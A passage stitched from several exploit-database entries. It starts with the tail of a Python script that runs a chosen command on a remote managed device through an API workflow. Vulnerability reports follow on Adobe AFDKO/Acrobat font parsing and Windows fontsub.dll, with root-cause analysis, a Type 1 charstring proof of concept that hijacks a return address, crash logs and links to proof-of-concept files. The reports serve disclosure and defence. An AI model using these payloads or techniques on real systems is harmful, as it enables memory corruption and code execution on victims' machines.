		print("")
		counter = 1
		for key in devices.keys():
			print(f"   {counter}: {key} ({devices[key][0]}) ({devices[key][1]})")

		print("")
		while True:
			try:
				prompt = f"{C_BLUE}[?]{C_RESET} Please specify which Device you want to run your command on: "
				devSelect = int(input(prompt))
			except KeyboardInterrupt:
				sys.exit(1)
			except ValueError:
				print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
				sys.exit(1)
	
			if devSelect < 1 or devSelect > len(list(devices.keys())):
				print(f"{C_RED}[-]{C_RESET} Error. Invalid Device number selected. Quitting . . .")
				sys.exit(1)

			else:
				device = list(devices.keys())[counter - 1]
				break

	# don't hate, it works doesn't it?
	if "indows" in devices[device][1]:
		workflowName = buildTaskWindows(args.t, session, apiKey, device, args.c)
	else:
		workflowName = buildTaskLinux(args.t, session, apiKey, device, args.c)

	workflowID =  getWorkflowID(args.t, session, apiKey, workflowName)
	runWorkflow(args.t, session, apiKey, workflowID, device)
	
	
main()
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

We have recently discovered that parts of AFDKO are compiled in in Adobe's desktop software such as Adobe Acrobat. Within a single installation of Acrobat, we have found traces of AFDKO in four different libraries: acrodistdll.dll, Acrobat.dll, CoolType.dll and AdobePDFL.dll. According to our brief analysis, AFDKO is not used for font rasterization (there is a different engine for that), but rather for the conversion between font formats. For example, it is possible to execute the AFDKO copy in CoolType.dll by opening a PDF file with an embedded font, and exporting it to a PostScript (.ps) or Encapsulated PostScript (.eps) document. It is uncertain if the AFDKO copies in other libraries are reachable as an attack surface and how.

It is also interesting to note that the AFDKO copies in the above DLLs are much older than the latest version of the code on GitHub. This can be easily recognized thanks to the fact that each component of the library (e.g. the Type 1 Reader - t1r, Type 1 Writer - t1w, CFF reader - cfr etc.) has its own version number included in the source code, and they change over time. For example, CoolType's version of the "cfr" module is 2.0.44, whereas the first open-sourced commit of AFDKO from September 2014 has version 2.0.46 (currently 2.1.0), so we can conclude that the CoolType fork is at least about ~5 years old. Furthermore, the forks in Acrobat.dll and AdobePDFL.dll are even older, with a "cfr" version of 2.0.31.

Despite the fact that CoolType contains an old fork of the library, it includes multiple non-public fixes for various vulnerabilities, particularly a number of important bounds checks in read*() functions declared in cffread/cffread.c (e.g. readFDSelect, readCharset etc.). These checks were first introduced in CoolType.dll shipped with Adobe Reader 9.1.2, which was released on 28 May 2009. This means that the internal fork of the code has had many bugs fixed for the last 10 years, which are still not addressed in the open-source branch of the code. Nevertheless, we found more security vulnerabilities which affect the AFDKO used by CoolType, through analysis of the publicly available code. This report describes one such issue reachable through the Adobe Acrobat file export functionality.

-----=====[ Description ]=====-----

The "Type 2 Charstring Format" specification from 5 May 1998 introduced two storage operators: store and load, which were both deprecated in the next iteration of the specs in 2000. These operators were responsible for copying data between the transient array (also known as the BuildCharArray, or BCA) and the so-called "Registry object".

As the document stated:

"""
    The Registry provides more permanent storage for a number of items that have predefined meanings. The items stored in the Registry do not persist beyond the scope of rendering a font. Registry items are selected with an index, thus:

    0 Weight Vector
    1 Normalized Design Vector
    2 User Design Vector

    The result of selecting a Registry item with an index outside this list is undefined.
"""

The Type 1 CharString interpreter implemented in t1Decode() (c/public/lib/source/t1cstr/t1cstr.c) supports the load and store operators:

--- cut ---
  1450                      case t1_store:
  1451                          result = do_store(h);
  1452                          if (result)
  1453                              return result;
  1454                          continue;
[...]
  1470                      case t1_load:
  1471                          result = do_load(h);
  1472                          if (result)
  1473                              return result;
  1474                          continue;
--- cut ---

The do_store() and do_load() functions are as follows:

--- cut ---
   664  /* Select registry item. Return NULL on invalid selector. */
   665  static float *selRegItem(t1cCtx h, int reg, int *size) {
   666      switch (reg) {
   667          case T1_REG_WV:
   668              *size = T1_MAX_MASTERS;
   669              return h->aux->WV;
   670          case T1_REG_NDV:
   671              *size = T1_MAX_AXES;
   672              return h->aux->NDV;
   673          case T1_REG_UDV:
   674              *size = T1_MAX_AXES;
   675              return h->aux->UDV;
   676      }
   677      return NULL;
   678  }
   679
   680  /* Execute "store" op. Return 0 on success else error code. */
   681  static int do_store(t1cCtx h) {
   682      int size;
   683      int count;
   684      int i;
   685      int j;
   686      int reg;
   687      float *array;
   688
   689      CHKUFLOW(4);
   690
   691      count = (int)POP();
   692      i = (int)POP();
   693      j = (int)POP();
   694      reg = (int)POP();
   695      array = selRegItem(h, reg, &size);
   696
   697      if (array == NULL ||
   698          i < 0 || i + count + 1 >= TX_BCA_LENGTH ||
   699          j < 0 || j + count + 1 >= size)
   700          return t1cErrStoreBounds;
   701
   702      memcpy(&array[j], &h->BCA[i], sizeof(float) * count);
   703      return 0;
   704  }
   705
[...]
   736
   737  /* Execute "load" op. Return 0 on success else error code. */
   738  static int do_load(t1cCtx h) {
   739      int size;
   740      int count;
   741      int i;
   742      int reg;
   743      float *array;
   744
   745      CHKUFLOW(3);
   746
   747      count = (int)POP();
   748      i = (int)POP();
   749      reg = (int)POP();
   750      array = selRegItem(h, reg, &size);
   751
   752      if (i < 0 || i + count - 1 >= TX_BCA_LENGTH || count > size)
   753          return t1cErrLoadBounds;
   754
   755      memcpy(&h->BCA[i], array, sizeof(float) * count);
   756
   757      return 0;
   758  }
--- cut ---

While both routines try to enforce proper bounds of the indexes and lengths (lines 697-700 and 752-753), they miss one important corner case -- negative count. When a value smaller than 0 is specified for "count", many of the other sanity checks can be bypassed, and out-of-bounds read/write access can be triggered with a high degree of control over what is copied where. The condition is especially dangerous in x86 builds, where a controlled 32-bit index added to a memory pointer can address the entire process address space. At the time of this writing, Adobe Acrobat for Windows is available as a 32-bit build only.

To give an example, setting count to a value in the range of 0x80000000-0xbfffffff makes it possible to set the "sizeof(float) * count" expression evaluate to an arbitrary multiple of 4 (0, 4, 8, ..., 0xfffffff8), enabling us to copy any chosen number of bytes in lines 702 and 755. At the same time, the value is so small that it bypasses all checks where "i + count" and "j + count" are involved for i, j in the range of 0-0x3fffffff, which also enables us to refer to the entire address space relative to the referenced buffer.

To summarize, we can copy an arbitrary number of bytes between h->BCA[] and the registry arrays at arbitrary offsets, which is a powerful primitive. There is only one obstacle -- the fact that values on the interpreter stack are stored as 32-bit floats, which means they have a 23-bit mantissa. For this reason, it is impossible to precisely control the integer values of i, j and count, if they are in the order of 2^30 or 2^31. The granularity is 128 for numbers around 2^30 and 256 for numbers around 2^31, so for example it is impossible to set i to 0x3fffffff or count to 0x80000001; the closest values are 0x3fffff80/0x40000000 and 0x80000000/0x80000100, respectively. In practice, this means that we can only copy out-of-bounds memory in chunks of 512 bytes (4 * 128) or 1024 under specific conditions, and that we can only choose negative offsets relative to BCA/array which are divisible by 128. On the other hand, if we set count to a largely negative value (e.g. -1073741696), we can set i and j to fully controlled (small) positive numbers.

The h->BCA[] array is stored within the t1cCtx structure in the stack frame of the t1cParse() function. The registry arrays reside within t1cAuxData structures allocated on the heap. As a result, the vulnerability gives us out-of-bounds access to both the stack and heap. An attacker could target generic data in memory related to the control flow such as return addresses, or application-specific data inside t1cCtx/t1cAuxData, which also contain many sensitive fields such as function pointers etc.

As a side note, the do_load() routine doesn't verify that array != NULL, which may result in a) operating on an uninitialized "size" variable in line 752, and b) passing NULL as the source parameter to memcpy() in line 755.

-----=====[ Invalid memcpy_s usage ]=====-----

We also wanted to point out another interesting bug in AFDKO, which is not present in the GitHub repository but can be found in CoolType. The latter build of the code uses safe variants of many standard functions, such as memcpy_s() instead of memcpy(), vsprintf_s() instead of vsprintf() etc. The memcpy() call in do_store() was also converted to memcpy_s(), and currently looks like this in decompiled form:

--- cut ---
  memcpy_s(&array[j], 4 - 4 * j, (char *)h + 4 * i + 916, 4 * count);
--- cut ---

which can be translated to:

--- cut ---
  memcpy_s(&array[j], sizeof(array) - sizeof(float) * j, &h->BCA[i], sizeof(float) * count);
--- cut ---

Note the second argument, which is supposed to be the length of the buffer being copied to. Judging by the code the author meant to set it to the number of available bytes from element "j" to the end of the array, but used the sizeof(array) expression instead of the actual length stored in the "size" variable. In this case sizeof(array) is the size of a pointer and evaluates to 4 or 8, which is nowhere near the actual size of the array (16 or 64 depending on the register). Consequently, this bug effectively blocks access to the element at array[1] for j={0, 1}, and is incorrectly set to a huge unsigned value for j >= 2, rendering it ineffective.

Considering that the 2nd "destsz" memcpy_s argument is not supposed to be a security boundary but just a safety net, and proper sanitization of the i, j, count values should prevent any kind of out-of-bounds access, we don't consider this a separate vulnerability. We are reporting it here as FYI.

-----=====[ Proof of Concept ]=====-----

The proof of concept is a PDF file with an embedded Type 1 font, which includes the following payload in the CharString of the "A" character:

--- cut ---
     1  1621139584 134217728 div
     2  dup 0 put
     3  dup 1 put
     4  dup 2 put
     5  dup 3 put
     6  dup 4 put
     7  dup 5 put
     8  dup 6 put
     9  dup 7 put
    10  dup 8 put
    11  dup 9 put
    12  dup 10 put
    13  dup 11 put
    14  0 2 0 12 store
    15  0 67
    16  4096 4096 -64 mul mul 128 add
    17  load
    18  endchar
--- cut ---

A brief description:

- Line 1 constructs a float on the stack with a binary representation of 0x41414141
- Lines 2-13 copy this value to the BuildCharArray at indexes 0-11
- Line 14 copies the 12 values from BCA to the registry #0 starting with index #2 (due to the memcpy_s bug)
- Lines 15-17 call the "load" operator with arguments reg=0, i=67, count=0xc0000080 (-1073741696). This results in copying 0x200 (0xc0000080 * 4) bytes from registry #0 to &h->BCA[67], which points to the return address of the t2cParse() function on the stack.
- Line 18 uses the "endchar" operator to return from the interpreter and use the overwritten return address, crashing at address 0x41414141.

-----=====[ Crash logs ]=====-----

When the poc.pdf file is opened with Adobe Acrobat Pro and converted to a PostScript document via "File > Export To > (Encapsulated) PostScript", the following crash occurs in Acrobat.exe:

--- cut ---
(2b10.3acc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=0d3993bc edx=00000200 esi=0daec260 edi=0d3992b8
eip=41414141 esp=0133a07c ebp=01000100 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210297
41414141 ??              ???
0:000> dd esp
0133a07c  41414141 41414141 41414141 41414141
0133a08c  41414141 41414141 41414141 41414141
0133a09c  41414141 41414141 41414141 0dfd96a0
0133a0ac  0dfd96a0 00000004 ffffffff 00000000
0133a0bc  00000001 66751a2a 00000000 d4385860
0133a0cc  94000400 801f0014 21ec2020 10693aea
0133a0dc  0008dda2 9d30302b 8071001e 00000000
0133a0ec  00000000 acc70000 32027007 d2aa11d1
--- cut ---

-----=====[ References ]=====-----

[1] https://blog.typekit.com/2014/09/19/new-from-adobe-type-open-sourced-font-development-tools/
[2] https://github.com/adobe-type-tools/afdko


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47259.zip
            
-----=====[ Background ]=====-----

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness.

-----=====[ Description ]=====-----

We have encountered the following crash in fontsub!GetGlyphIdx:

--- cut ---
(4a54.4cd8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
FONTSUB!GetGlyphIdx+0x9e:
00007fff`9f4bbf96 0fb70447        movzx   eax,word ptr [rdi+rax*2] ds:00000155`3b64af80=????

0:000> ? rdi
Evaluate expression: 1465580302336 = 00000155`3b64b000

0:000> ? rax
Evaluate expression: -64 = ffffffff`ffffffc0

0:000> dd rdi
00000155`3b64b000  006a0010 006c006b 0111006d 00f80085
00000155`3b64b010  011100fd 02af02ae 028b02b0 028d028c
00000155`3b64b020  02e00071 01060000 01000000 00000000
00000155`3b64b030  01020000 00020000 00000000 00000000
00000155`3b64b040  00000000 00010000 03040000 07080506
00000155`3b64b050  0b0c090a 0f100d0e 13141112 17181516
00000155`3b64b060  1b1c191a 1f201d1e 23242122 27282526
00000155`3b64b070  2b2c292a 2f302d2e 33343132 37383536

0:000> !heap -p -a rdi
    address 000001553b64b000 found in
    _DPH_HEAP_ROOT @ 1553b5c1000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                             1553b5c2af8:      1553b64b000            1ff88 -      1553b64a000            21000
    00007fffcf6530df ntdll!RtlDebugAllocateHeap+0x000000000000003f
    00007fffcf60b52c ntdll!RtlpAllocateHeap+0x0000000000077d7c
    00007fffcf59143b ntdll!RtlpAllocateHeapInternal+0x00000000000005cb
    00007fff9b90be42 vrfcore!VfCoreRtlAllocateHeap+0x0000000000000022
    00007fffcca398f0 msvcrt!malloc+0x0000000000000070
    00007fff9f4bfd1e FONTSUB!Mem_Alloc+0x0000000000000012
    00007fff9f4bc08d FONTSUB!ReadAllocCmapFormat4Ids+0x00000000000000d1
    00007fff9f4bc4d1 FONTSUB!ReadAllocCmapFormat4+0x0000000000000149
    00007fff9f4c31d8 FONTSUB!MakeKeepGlyphList+0x0000000000000430
    00007fff9f4b6c00 FONTSUB!CreateDeltaTTFEx+0x0000000000000168
    00007fff9f4b6a63 FONTSUB!CreateDeltaTTF+0x00000000000002cb
    00007fff9f4b132a FONTSUB!CreateFontPackage+0x000000000000015a
[...]

0:000> k
 # Child-SP          RetAddr           Call Site
00 00000001`f4dfd660 00007fff`9f4c322a FONTSUB!GetGlyphIdx+0x9e
01 00000001`f4dfd6b0 00007fff`9f4b6c00 FONTSUB!MakeKeepGlyphList+0x482
02 00000001`f4dfd930 00007fff`9f4b6a63 FONTSUB!CreateDeltaTTFEx+0x168
03 00000001`f4dfda50 00007fff`9f4b132a FONTSUB!CreateDeltaTTF+0x2cb
04 00000001`f4dfdb90 00007ff6`1a8a85d1 FONTSUB!CreateFontPackage+0x15a
[...]
--- cut ---

The root cause of the crash seems to be a negative index into the glyph ID array, which was not anticipated by the developer. Additionally, we've encountered a few cases where the index is negative, but the base address of the array is also NULL, resulting in attempting to access addresses close to 0xfffffffffffffffe.

The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. It could be potentially used to disclose sensitive data from the process heap. It is easiest to reproduce with PageHeap enabled (with the "Backward" option on), but it is also possible to observe a crash in a default system configuration. Attached are 3 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47262.zip
            
-----=====[ Background ]=====-----

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness.

-----=====[ Description ]=====-----

We have encountered the following crash in fontsub!MergeFormat12Cmap:

--- cut ---
=======================================
VERIFIER STOP 0000000000000007: pid 0x2ADC: Heap block already freed. 

	000001F435091000 : Heap handle for the heap owning the block.
	000001F4350969C0 : Heap block being freed again.
	00000000000001BC : Size of the heap block.
	0000000000000000 : Not used


=======================================
This verifier stop is not continuable. Process will be terminated 
when you use the `go' debugger command.

=======================================

(2adc.5c10): Break instruction exception - code 80000003 (first chance)
vrfcore!VerifierStopMessageEx+0x7dc:
00007fff`9b90263c cc              int     3
 
0:000> k
 # Child-SP          RetAddr           Call Site
00 00000093`7bbcc730 00007fff`9b908540 vrfcore!VerifierStopMessageEx+0x7dc
01 00000093`7bbcca90 00007fff`9b7f619b vrfcore!VfCoreRedirectedStopMessage+0x90
02 00000093`7bbccb20 00007fff`9b7f4eb0 verifier!VerifierStopMessage+0xbb
03 00000093`7bbccbd0 00007fff`9b7f2582 verifier!AVrfpDphReportCorruptedBlock+0x1c0
04 00000093`7bbccc90 00007fff`9b7f2623 verifier!AVrfpDphFindBusyMemoryNoCheck+0x6a
05 00000093`7bbcccf0 00007fff`9b7f27e9 verifier!AVrfpDphFindBusyMemory+0x1f
06 00000093`7bbccd30 00007fff`9b7f41bd verifier!AVrfpDphFindBusyMemoryAndRemoveFromBusyList+0x25
07 00000093`7bbccd60 00007fff`cf653ab8 verifier!AVrfDebugPageHeapFree+0x8d
08 00000093`7bbccdc0 00007fff`cf58ae08 ntdll!RtlDebugFreeHeap+0x3c
09 00000093`7bbcce20 00007fff`cf58f0c9 ntdll!RtlpFreeHeap+0xa8
0a 00000093`7bbcd050 00007fff`9b90bf42 ntdll!RtlFreeHeap+0x409
0b 00000093`7bbcd100 00007fff`cca3984c vrfcore!VfCoreRtlFreeHeap+0x22
0c 00000093`7bbcd150 00007fff`aa5491fe msvcrt!free+0x1c
0d 00000093`7bbcd180 00007fff`aa5496f8 FONTSUB!MergeFormat12Cmap+0x12e
0e 00000093`7bbcd250 00007fff`aa54b046 FONTSUB!MergeCmapTables+0x444
0f 00000093`7bbcd330 00007fff`aa54baac FONTSUB!MergeFonts+0x5a6
10 00000093`7bbcd4e0 00007fff`aa5414b2 FONTSUB!MergeDeltaTTF+0x3ec
11 00000093`7bbcd620 00007ff6`1a8a8a30 FONTSUB!MergeFontPackage+0x132
[...]
--- cut ---

A similar double-free crash was also observed at FONTSUB!MergeFormat12Cmap+0x13b, which is the second free() call directly after a MakeFormat12MergedGlyphList() call.

The root cause of the crash seems to be the fact that in case of an error, the MakeFormat12MergedGlyphList() function frees the buffer pointed to by its first/third argument, and then its caller, MergeFormat12Cmap(), also unconditionally frees both buffers.

The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. It could be potentially used to execute arbitrary code in the context of the FontSub client process. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are 3 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47263.zip
            
-----=====[ Background ]=====-----

The Microsoft Font Subsetting DLL (fontsub.dll) is a default Windows helper library for subsetting TTF fonts; i.e. converting fonts to their more compact versions based on the specific glyphs used in the document where the fonts are embedded. It is used by Windows GDI and Direct2D, and parts of the same code are also found in the t2embed.dll library designed to load and process embedded fonts.

The DLL exposes two API functions: CreateFontPackage and MergeFontPackage. We have developed a testing harness which invokes a pseudo-random sequence of such calls with a chosen font file passed as input. This report describes a crash triggered by a malformed font file in the fontsub.dll code through our harness.

-----=====[ Description ]=====-----

The declaration of the public MergeFontPackage() function is as follows:

--- cut ---
unsigned long MergeFontPackage(
  const unsigned char  *puchMergeFontBuffer,
  const unsigned long  ulMergeFontBufferSize,
  const unsigned char  *puchFontPackageBuffer,
  const unsigned long  ulFontPackageBufferSize,
  unsigned char        **ppuchDestBuffer,
  unsigned long        *pulDestBufferSize,
  unsigned long        *pulBytesWritten,
  const unsigned short usMode,
  CFP_ALLOCPROC        lpfnAllocate,
  CFP_REALLOCPROC      lpfnReAllocate,
  CFP_FREEPROC         lpfnFree,
  void                 *lpvReserved
);
--- cut ---

The fifth, sixth and seventh parameters (ppuchDestBuffer, pulDestBufferSize and pulBytesWritten) are used to return a pointer to an output buffer, its size and the length of the actual content written by the API, if the routine succeeds. However, during our fuzzing, we have encountered a number of crashes caused by the function returning a pointer to a freed memory region through ppuchDestBuffer, and an invalid value in pulDestBufferSize.

Thanks to the fact that the function uses a client-provided allocator, we can observe the heap allocations being made during the library runtime. If we compile the testing harness in Debug mode and run it against one of the input samples (preferably with PageHeap enabled), we should see output similar to the following:

--- cut ---
[...]
[+] realloc(0000000000000000, 0x48b8) ---> 000001A1F1942740
[+] realloc(000001A1F1942740, 0x4ffd) ---> 000001A1F1948FF0
[+] realloc(000001A1F1948FF0, 0x57fc) ---> 000001A1F194F800
[+] realloc(000001A1F194F800, 0x60c8) ---> 000001A1F1956F30
[+] realloc(000001A1F1956F30, 0x6a75) ---> 000001A1F195E580
[+] realloc(000001A1F195E580, 0x751a) ---> 000001A1F1966AE0
[+] realloc(000001A1F1966AE0, 0x80cf) ---> 000001A1F196FF20
[+] realloc(000001A1F196FF20, 0x8db0) ---> 000001A1F1979240
[+] realloc(000001A1F1979240, 0x9bdb) ---> 000001A1F1983420
[+] realloc(000001A1F1983420, 0xab70) ---> 000001A1F198E480
[+] realloc(000001A1F198E480, 0xbc94) ---> 000001A1F199A360
[+] MergeFontPackage returned buffer 000001A1F1942740, buffer size 0x48b8, bytes written 0xae5c
--- cut ---

... followed by a crash while trying to access the 0x1A1F1942740 address:

--- cut ---
(2664.3028): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
VCRUNTIME140D!memcpy_repmovs+0xe:
00007fff`a00b16ee f3a4            rep movs byte ptr [rdi],byte ptr [rsi]
0:000> ? rsi
Evaluate expression: 1795054380864 = 000001a1`f1942740
0:000> dd rsi
000001a1`f1942740  ???????? ???????? ???????? ????????
000001a1`f1942750  ???????? ???????? ???????? ????????
000001a1`f1942760  ???????? ???????? ???????? ????????
000001a1`f1942770  ???????? ???????? ???????? ????????
000001a1`f1942780  ???????? ???????? ???????? ????????
000001a1`f1942790  ???????? ???????? ???????? ????????
000001a1`f19427a0  ???????? ???????? ???????? ????????
000001a1`f19427b0  ???????? ???????? ???????? ????????
--- cut ---

In the output log, we can see that a buffer of size 0x48b8 was initially allocated at address 0x1A1F1942740, but was then reallocated multiple times to incrementally grow it up to 0xbc94 bytes. However, the output values of ppuchDestBuffer and pulDestBufferSize are not updated accordingly, and so they contain the stale data written after the first allocation. Interestingly, the problem doesn't seem to affect the third output argument -- pulBytesWritten, which is correctly updated to the most recent value, and is thus bigger then *pulDestBufferSize, which should normally never happen.

Returning such a stale pointer may lead to a use-after-free condition, and/or a double free when the client software decides to free the buffer on its own. This in turn may potentially lead to arbitrary code execution in the context of the fontsub.dll client process.

The issue reproduces on a fully updated Windows 10 1709; we haven't tested earlier versions of the system. Attached are 3 proof of concept malformed font files which trigger the crash.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47261.zip
            
-----=====[ Background ]=====-----

AFDKO (Adobe Font Development Kit for OpenType) is a set of tools for examining, modifying and building fonts. The core part of this toolset is a font handling library written in C, which provides interfaces for reading and writing Type 1, OpenType, TrueType (to some extent) and several other font formats. While the library existed as early as 2000, it was open-sourced by Adobe in 2014 on GitHub [1, 2], and is still actively developed. The font parsing code can be generally found under afdko/c/public/lib/source/*read/*.c in the project directory tree.

We have recently discovered that parts of AFDKO are compiled in in Adobe's desktop software such as Adobe Acrobat. Within a single installation of Acrobat, we have found traces of AFDKO in four different libraries: acrodistdll.dll, Acrobat.dll, CoolType.dll and AdobePDFL.dll. According to our brief analysis, AFDKO is not used for font rasterization (there is a different engine for that), but rather for the conversion between font formats. For example, it is possible to execute the AFDKO copy in CoolType.dll by opening a PDF file with an embedded font, and exporting it to a PostScript (.ps) or Encapsulated PostScript (.eps) document. It is uncertain if the AFDKO copies in other libraries are reachable as an attack surface and how.

It is also interesting to note that the AFDKO copies in the above DLLs are much older than the latest version of the code on GitHub. This can be easily recognized thanks to the fact that each component of the library (e.g. the Type 1 Reader - t1r, Type 1 Writer - t1w, CFF reader - cfr etc.) has its own version number included in the source code, and they change over time. For example, CoolType's version of the "cfr" module is 2.0.44, whereas the first open-sourced commit of AFDKO from September 2014 has version 2.0.46 (currently 2.1.0), so we can conclude that the CoolType fork is at least about ~5 years old. Furthermore, the forks in Acrobat.dll and AdobePDFL.dll are even older, with a "cfr" version of 2.0.31.

Despite the fact that CoolType contains an old fork of the library, it includes multiple non-public fixes for various vulnerabilities, particularly a number of important bounds checks in read*() functions declared in cffread/cffread.c (e.g. readFDSelect, readCharset etc.). These checks were first introduced in CoolType.dll shipped with Adobe Reader 9.1.2, which was released on 28 May 2009. This means that the internal fork of the code has had many bugs fixed for the last 10 years, which are still not addressed in the open-source branch of the code. Nevertheless, we found more security vulnerabilities which affect the AFDKO used by CoolType, through analysis of the publicly available code. This report describes one such issue reachable through the Adobe Acrobat file export functionality.

-----=====[ Description ]=====-----

The Type 1 font parsing code in AFDKO resides in c/public/lib/source/t1read/t1read.c, and the main context structure is t1rCtx, also declared in that file. t1rCtx contains a dynamic array FDArray of FDInfo structures:

--- cut ---
    70  typedef struct /* FDArray element */
    71  {
    72      abfFontDict *fdict; /* Font dict */
    73      struct              /* Subrs */
    74      {
    75          ctlRegion region; /* cstr data region */
    76          dnaDCL(long, offset);
    77      } subrs;
    78      t1cAuxData aux; /* Auxiliary charstring data */
    79      struct          /* Dict key info */
    80      {
    81          long lenIV;                /* Length random cipher bytes */
    82          long SubrMapOffset;        /* CID-specific key */
    83          unsigned short SubrCount;  /* CID-specific key */
    84          unsigned short SDBytes;    /* CID-specific key */
    85          unsigned short BlueValues; /* Flags /BlueValues seen */
    86      } key;
    87      t1cDecryptFunc decrypt; /* Charstring decryption function */
    88  } FDInfo;
    89
[...]
   110      dnaDCL(FDInfo, FDArray);       /* FDArray */
--- cut ---

The array is initially set to 1 element at the beginning of t1rBegFont():

--- cut ---
  3035  /* Parse PostScript font. */
  3036  int t1rBegFont(t1rCtx h, long flags, long origin, abfTopDict **top, float *UDV) {
[...]
  3045      dnaSET_CNT(h->FDArray, 1);
--- cut ---

Later on, the array can be resized to any number of elements in the range of 0-256 using the /FDArray operator, which is handled by the initFDArray() function:

--- cut ---
  2041  /* Initialize FDArray. */
  2042  static void initFDArray(t1rCtx h, long cnt) {
  2043      int i;
  2044      if (cnt < 0 || cnt > 256)
  2045          badKeyValue(h, kFDArray);
  2046      dnaSET_CNT(h->FDArray, cnt);
  2047      dnaSET_CNT(h->fdicts, cnt);
  2048      for (i = 0; i < h->FDArray.cnt; i++)
  2049          initFDInfo(h, i);
  2050      h->fd = &h->FDArray.array[0];
  2051  }
  2052
[...]
  2318          case kFDArray:
  2319              initFDArray(h, parseInt(h, kFDArray));
  2320              break;
--- cut ---

Parts of the FDInfo structures (specifically the "aux" nested structure) are initialized later on, in prepClientData():

--- cut ---
  2949      /* Prepare auxiliary data */
  2950      for (i = 0; i < h->FDArray.cnt; i++) {
  2951          FDInfo *fd = &h->FDArray.array[i];
  2952          fd->aux.flags = 0;
  2953          if (h->flags & T1R_UPDATE_OPS)
  2954              fd->aux.flags |= T1C_UPDATE_OPS;
  2955          fd->aux.src = h->stm.tmp;
  2956          fd->aux.subrs.cnt = fd->subrs.offset.cnt;
  2957          fd->aux.subrs.offset = fd->subrs.offset.array;
  2958          fd->aux.subrsEnd = fd->subrs.region.end;
  2959          fd->aux.stm = &h->cb.stm;
[...]
--- cut ---

The problem with the code is that it assumes that FDArray always contains at least 1 element, whereas initFDArray() allows us to truncate it to 0 items. 

When the client program later calls t1rIterateGlyphs(), execution will reach the following code in readGlyph():

--- cut ---
  3170  /* Read charstring. */
  3171  static void readGlyph(t1rCtx h,
  3172                        unsigned short tag, abfGlyphCallbacks *glyph_cb) {
  3173      int result;
  3174      long offset;
  3175      long flags = h->flags;
  3176      Char *chr = &h->chars.index.array[tag];
  3177      t1cAuxData *aux = &h->FDArray.array[chr->iFD].aux;
  3178
[...]
--- cut ---

The chr->iFD values are initialized to 0 by default in abfInitGlyphInfo(), so in line 3177 the library will take a reference to the uninitialized structure under h->FDArray.array[0].aux:

--- cut ---
Breakpoint 1, readGlyph (h=0x61f000000080, tag=0, glyph_cb=0x62c0000078d8) at ../../../../../source/t1read/t1read.c:3179
3179        if ((flags & CID_FONT) && !(flags & PRINT_STREAM)) {

(gdb) print *aux
$1 = {flags = -4702111234474983746, src = 0xbebebebebebebebe, stm = 0xbebebebebebebebe, subrs = {cnt = -4702111234474983746, offset = 0xbebebebebebebebe},
  subrsEnd = -4702111234474983746, ctx = 0xbebebebebebebebe, getStdEncGlyphOffset = 0xbebebebebebebebe, bchar = 190 '\276', achar = 190 '\276', matrix = {
    -0.372548997, -0.372548997, -0.372548997, -0.372548997, -0.372548997, -0.372548997}, nMasters = -16706, UDV = {-0.372548997 <repeats 15 times>}, NDV = {
    -0.372548997 <repeats 15 times>}, WV = {-0.372548997 <repeats 64 times>}}
--- cut ---

In the above listing, 0xbe are AddressSanitizer's marker bytes for unitialized heap memory (in a Linux x64 build of the "tx" tool used for testing). The "aux" pointer is further passed down to functions in t1cstr/t1cstr.c -- first to t1cParse(), then to t1DecodeSubr(), and then to srcSeek(), where the following call is performed:

--- cut ---
   191  /* Seek to offset on source stream. */
   192  static int srcSeek(t1cCtx h, long offset) {
   193      if (h->aux->stm->seek(h->aux->stm, h->aux->src, offset))
   194          return 1;
   195      h->src.offset = offset;
   196      return 0;
   197  }
--- cut ---

As we remember, the contents of the "aux" object and specifically aux.stm are uninitialized, so the code attempts to load a function pointer from an undefined address. According to our tests, the memory allocator used in Adobe Acrobat boils down to a simple malloc() call without a subsequent memset(), so the undefined data could in fact be leftover bytes from an older allocation freed before the faulty font is loaded. As a result, the "stm" pointer could be controlled by the input file through some light heap spraying/grooming, such that the free memory chunks reused by malloc() contain the desired data. This, in turn, could potentially lead to arbitrary code execution in the context of the Acrobat process.

